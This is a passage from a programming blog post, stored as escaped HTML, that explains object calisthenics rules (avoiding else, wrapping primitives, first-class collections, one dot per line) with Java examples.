        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;collectRow&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;collectRow&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;StringBuilder&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;row&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;row&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]);&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;\n&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;2-dont-use-the-else-keyword&quot;&gt;2. Don’t Use The ELSE Keyword&lt;/h2&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;else&lt;/code&gt; keyword is well-known as the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;if/else&lt;/code&gt; construct is built into nearly
all programming languages. Do you remember the last time you saw a nested
conditional? Did you enjoy reading it? I don’t think so, and that is exactly why
it should be avoided. As it is so easy to add a new branch to the existing code
than refactoring it to a better solution, you often end up with a really bad
code.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;login&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;userRepository&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isValid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;redirect&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;homepage&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;addFlash&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;error&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Bad credentials&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;

        &lt;span class=&quot;n&quot;&gt;redirect&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;login&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;An easy way to remove the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;else&lt;/code&gt; keyword is to rely on the &lt;strong&gt;early return&lt;/strong&gt;
solution.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;login&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;userRepository&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isValid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;redirect&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;homepage&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;addFlash&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;error&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Bad credentials&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;redirect&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;login&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The condition can be either &lt;strong&gt;optimistic&lt;/strong&gt;, meaning you have conditions for your
error cases and the rest of your method follows the default scenario,
or you can adopt a &lt;strong&gt;defensive approach&lt;/strong&gt; (somehow related to &lt;a href=&quot;http://en.wikipedia.org/wiki/Defensive_programming&quot;&gt;Defensive
Programming&lt;/a&gt;), meaning you
put the default scenario into a condition, and if it is not satisfied, then you
return an error status. This is better as it prevents potential issues you
didn’t think about.&lt;/p&gt;

&lt;p&gt;As an alternative, you can &lt;strong&gt;introduce a variable&lt;/strong&gt; in order to make your
&lt;strong&gt;return statement parametrizable&lt;/strong&gt;. This is not always possible though.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;login&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;redirectRoute&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;homepage&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;userRepository&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isValid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;addFlash&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;error&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Bad credentials&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;redirectRoute&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;login&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;redirect&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;redirectRoute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Also, it is worth mentioning that Object Oriented Programming gives us powerful
features, such as &lt;strong&gt;polymorphism&lt;/strong&gt;. Last but not least, the &lt;strong&gt;Null Object&lt;/strong&gt;,
&lt;strong&gt;State&lt;/strong&gt; and &lt;strong&gt;Strategy&lt;/strong&gt; patterns may help you as well!&lt;/p&gt;

&lt;p&gt;For instance, instead of using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;if/else&lt;/code&gt; to determine an action based on a
status (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RUNNING&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WAITING&lt;/code&gt;, etc.), prefer the &lt;a href=&quot;http://en.wikipedia.org/wiki/State_pattern&quot;&gt;State
pattern&lt;/a&gt; as it is used to
encapsulate varying behavior for the same routine based on an object’s state
object:&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;http://sourcemaking.com/files/sm/images/patterns/State1.gif&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Source: &lt;a href=&quot;http://sourcemaking.com/design_patterns/state&quot;&gt;http://sourcemaking.com/design_patterns/state&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;3-wrap-all-primitives-and-strings&quot;&gt;3. Wrap All Primitives And Strings&lt;/h2&gt;

&lt;p&gt;Following this rule is pretty easy, you simply have to &lt;strong&gt;encapsulate all the
primitives within objects&lt;/strong&gt;, in order to avoid the &lt;a href=&quot;http://c2.com/cgi/wiki?PrimitiveObsession&quot;&gt;&lt;strong&gt;Primitive
Obsession&lt;/strong&gt;&lt;/a&gt; anti-pattern.&lt;/p&gt;

&lt;p&gt;If the variable of your primitive type has a &lt;strong&gt;behavior&lt;/strong&gt;, you MUST encapsulate
it. And this is especially true for &lt;strong&gt;Domain Driven Design&lt;/strong&gt;. &lt;strong&gt;DDD&lt;/strong&gt; describes
&lt;strong&gt;Value Objects&lt;/strong&gt; like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Money&lt;/code&gt;, or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Hour&lt;/code&gt; for instance.&lt;/p&gt;

&lt;h2 id=&quot;4-first-class-collections&quot;&gt;4. First Class Collections&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Any class that contains a collection should contain no other member
variables&lt;/strong&gt;. If you have a set of elements and want to manipulate them, create
a class that is dedicated for this set.&lt;/p&gt;

&lt;p&gt;Each collection gets wrapped in its own class, so now &lt;strong&gt;behaviors related to the
collection have a home&lt;/strong&gt; (e.g. filter methods, applying a rule to each element).&lt;/p&gt;

&lt;h2 id=&quot;5-one-dot-per-line&quot;&gt;5. One Dot Per Line&lt;/h2&gt;

&lt;p&gt;This &lt;em&gt;dot&lt;/em&gt; is the one you use to call methods in Java, or C# for instance. It
would be an arrow in PHP, but who uses PHP anyway? :D&lt;/p&gt;

&lt;p&gt;Basically, the rule says that &lt;strong&gt;you should not chain method calls&lt;/strong&gt;. However, it
doesn’t apply to &lt;a href=&quot;http://flippinawesome.org/2013/05/20/fluent-apis-and-method-chaining/&quot;&gt;&lt;strong&gt;Fluent
Interfaces&lt;/strong&gt;&lt;/a&gt;
and more generally to anything implementing the &lt;a href=&quot;http://martinfowler.com/dslCatalog/methodChaining.html&quot;&gt;Method Chaining
Pattern&lt;/a&gt;
(e.g. a Query Builder).&lt;/p&gt;

&lt;p&gt;For other classes, you should respect this rule. It is the direct use of the
&lt;a href=&quot;http://c2.com/cgi/wiki?LawOfDemeter&quot;&gt;Law of Demeter&lt;/a&gt;, saying only &lt;strong&gt;talk to
your immediate friends&lt;/strong&gt;, and don’t talk to strangers.&lt;/p&gt;

&lt;p&gt;Look at these classes:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Location&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Piece&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;current&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Piece&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;representation&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Board&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;boardRepresentation&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;StringBuilder&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;StringBuilder&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Location&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;loc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;squares&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;())&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;loc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;current&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;representation&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;substring&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;));&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It is ok-ish to have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;public&lt;/code&gt; attributes in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Piece&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Location&lt;/code&gt;. Actually,
having a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;public&lt;/code&gt; property or a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;private&lt;/code&gt; one with getter/setter is the same
thing (see &lt;a href=&quot;#9-no-getters/setters/properties&quot;&gt;Rule 9&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;However, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;boardRepresentation()&lt;/code&gt; method is awful, take a look at this line:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;loc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;current&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;representation&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;substring&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It accesses a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Location&lt;/code&gt;, then its current &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Piece&lt;/code&gt;, then the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Piece&lt;/code&gt;’s
representation on which it performs an action. This is far from &lt;em&gt;One Dot Per
Line&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Fortunately, the &lt;a href=&quot;http://c2.com/cgi/wiki?LawOfDemeter&quot;&gt;Law of Demeter&lt;/a&gt; tells you
to talk to your friends, so let’s do that:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Location&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Piece&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;current&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;addTo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;StringBuilder&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;current&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;addTo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Making the instance of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Piece&lt;/code&gt; &lt;strong&gt;private&lt;/strong&gt; ensures that you won’t try to do
something bad. However, as you need to perform an action on this attribute, you
need a new method &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;addTo()&lt;/code&gt;. It is not &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Location&lt;/code&gt;’s responsibility to determine
how the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Piece&lt;/code&gt; will be added, so let’s ask it:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Piece&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;representation&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;character&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;representation&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;substring&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

